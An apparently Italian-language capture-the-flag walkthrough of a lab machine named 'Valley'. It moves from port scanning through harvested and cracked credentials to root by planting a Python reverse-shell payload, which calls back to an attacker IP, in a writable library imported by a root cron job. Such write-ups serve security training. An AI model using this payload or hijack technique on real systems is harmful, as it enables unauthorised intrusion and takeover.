```
└─$ nmap -sV -sC -A 10.10.213.215
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-07 14:54 EDT
Nmap scan report for 10.10.213.215
Host is up (0.073s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION

22/tcp    open  ssh
80/tcp    open  http

37370/tcp open  unknown


22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol
2.0)
| ssh-hostkey:
|   3072 c2842ac1225a10f16616dda0f6046295 (RSA)
|   256 429e2ff63e5adb51996271c48c223ebb (ECDSA)
|_  256 2ea0a56cd983e0016cb98a609b638672 (ED25519)

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

37370/tcp open  ftp     vsftpd 3.0.3
```

Trovato sul web riferimento:

http://10.10.213.215/pricing/note.txt

```
J,
Please stop leaving notes randomly on the website
-RP
```

Enumerando le risorse (IDOR)

/static/ enum idor (dirb) 00
/static/00

Contenuto del file

```
dev notes from valleyDev:
-add wedding photo examples
```

```
-redo the editing on #4
-remove /dev1243224123123   <---------------
-check for SIEM alerts
```

Troviamo coppia di credenziali

```
view-source:http://10.10.213.215/dev1243224123123/dev.js

if (username === "siemDev" && password === "california") {
        window.location.href = "/dev1243224123123/devNotes37370.txt";
    } else {
        loginErrorMsg.style.opacity = 1;
    }
```

siemDev:california (no in ssh)

```
dev notes for ftp server:
-stop reusing credentials   <--------------
-check for any vulnerabilies
-stay up to date on patching
-change ftp port to normal port
```

----

proviamo in ftp le credenziali

```
Name (10.10.213.215:kali): siemDev
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

```
-rw-rw-r--    1 1000     1000         7272 Mar 06 13:55 siemFTP.pcapng
-rw-rw-r--    1 1000     1000      1978716 Mar 06 13:55 siemHTTP1.pcapng
-rw-rw-r--    1 1000     1000      1972448 Mar 06 14:06 siemHTTP2.pcapng
```

scarichiamo (non possiamo scrivere)
cerchiamo info e credenziali all'interno dei pcap

valleyphotosinc.com Non-Existent Domain

```
valleyphotosinc.com.localdomain Non-Existent Domain
```

Trovate creds su http2

```
 192.168.111.136:47096 192.168.111.136:80 (POST, GET)

POST /index.html HTTP/1.1
Host:  192.168.111.136
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;
q=0.8
Accept-Encoding:  gzip, deflate
Accept-Language:  en-US,en;q=0.5
Connection:  keep-alive
Content-Length:  42
Content-Type:  application/x-www-form-urlencoded
Origin: //192.168.111.136
Referer: //192.168.111.136/index.html
Upgrade-Insecure-Requests:  1
User-Agent: 102.0) Gecko/20100101 Firefox/102.0

uname=valleyDev&psw=ph0t0s1234&remember=on
<----------------------------------
```

Usiamo su SSH

```
ssh valleyDev@10.10.213.215
```

```
└─$ ssh valleyDev@10.10.213.215
valleyDev@10.10.213.215's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-139-generic x86_64)

valleyDev@valley:~$ id
uid=1002(valleyDev) gid=1002(valleyDev) groups=1002(valleyDev)
valleyDev@valley:~$
```

```
536773   4 drwxr-x---  4 siemDev   siemDev     4096 Mar 20 20:03 siemDev
528005   4 drwxr-x--- 16 valley    valley      4096 Mar 20 20:54 valley
537139 732 -rwxrwxr-x  1 valley    valley    749128 Aug 14  2022
valleyAuthenticator
805757   4 drwxr-xr-x  5 valleyDev valleyDev   4096 Mar 13 08:17 valleyDev
```

Movimento laterale:

in ssh non accede ma con "su siemDev" pwd:california si

```
valleyDev@valley:/home$ su siemDev
Password:
$ id
uid=1001(siemDev) gid=1001(siemDev) groups=1001(siemDev)
```

```
536773 4 drwxr-x--- 4 siemDev siemDev 4096 Mar 20 20:03 .
524289 4 drwxr-xr-x 5 root    root    4096 Mar  6 13:19 ..
536532 0 -rw-r--r-- 1 root    root       0 Mar 13 09:03 .bash_history
536776 4 -rw-r--r-- 1 siemDev siemDev  220 Feb 25  2020 .bash_logout
536774 4 -rw-r--r-- 1 siemDev siemDev 3771 Feb 25  2020 .bashrc
659878 4 drwxr-xr-x 2 root    root    4096 Mar 20 20:04 .cache
536780 4 dr-xr-xr-x 2 siemDev siemDev 4096 Mar  6 13:06 ftp
536775 4 -rw-r--r-- 1 siemDev siemDev  807 Feb 25  2020 .profile
```

analizziamo il binario per movimento laterale valleyDev --> valley

```
┌──(kali㉿kali)-[~/Desktop/pcap]
└─$ strings valley
UPX!  <------------------
"E&8
/p8S
a64\
```

```
└─$ upx -d valley

                      1 ×
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   2285616 <-    749128   32.78%   linux/amd64   valley

Unpacked 1 file.
```

```
└─$ strings valley | grep user

What is your username:
enlarge_userbuf
Too many users
enlarge_userbuf
```

```
e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb

Welcome to Valley Inc. Authenticator
What is your username:
What is your password:
Authenticated
Wrong Password or Username
```

troviamo 2 hash proviamo a craccarli e ad usarli come password

```
liberty123
valley
```

Accediamo all'utente Valley

```
su valley
liberty123

id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)
```

Notiamo un CRONTAB impostato

```
# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR
sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root  test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.daily )
47 6    * * 7   root  test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.weekly )
52 6    1 * *   root  test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.monthly )

1  *    * * *   root    python3 /photos/script/photosEncrypt.py
<-----------------
```

```
valley@valley:/photos/script$ cat photosEncrypt.py
#!/usr/bin/python3
import base64    <------ path abuse???
for i in range(1,7):
```

```
# specify the path to the image file you want to encode
   image_path = "/photos/p" + str(i) + ".jpg"

# open the image file and read its contents
   with open(image_path, "rb") as image_file:
          image_data = image_file.read()

# encode the image data in Base64 format
   encoded_image_data = base64.b64encode(image_data)

# specify the path to the output file
   output_path = "/photos/photoVault/p" + str(i) + ".enc"

# write the Base64-encoded image data to the output file
   with open(output_path, "wb") as output_file:
          output_file.write(encoded_image_data)
```

```
2023/07/08 05:22:01 CMD: UID=0    PID=1295   | /usr/sbin/CRON -f
2023/07/08 05:22:01 CMD: UID=0    PID=1297   | python3
/photos/script/photosEncrypt.py
2023/07/08 05:22:01 CMD: UID=0    PID=1296   | /bin/sh -c python3
/photos/script/photosEncrypt.py
```

elimino una foto e gli creo un link simbolico nominato p1.jpg a /etc/shadow?
[no i permessi non lo consentono]

Cerchiamo info sulla libreria importata

```
valley@valley:/tmp$ ls -lisa /usr/lib/python3.8/base64.py
263097 20 -rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 03:26
/usr/lib/python3.8/base64.py  <-----
```

inseriamo un payload in base64.py (reverse shell)

```
import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec
t(("10.8.8.53",80));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
```

```
#! /usr/bin/python3.8

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
```

```
s.connect(("10.8.8.53",80))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
pty.spawn("sh")
```

Apriamo il listener e attendiamo il CRON

```
└─$ nc -nvlp 80

                      1 ×
listening on [any] 80 ...
connect to [10.8.8.53] from (UNKNOWN) [10.10.13.28] 56810
#

# id
id
uid=0(root) gid=0(root) groups=0(root)
```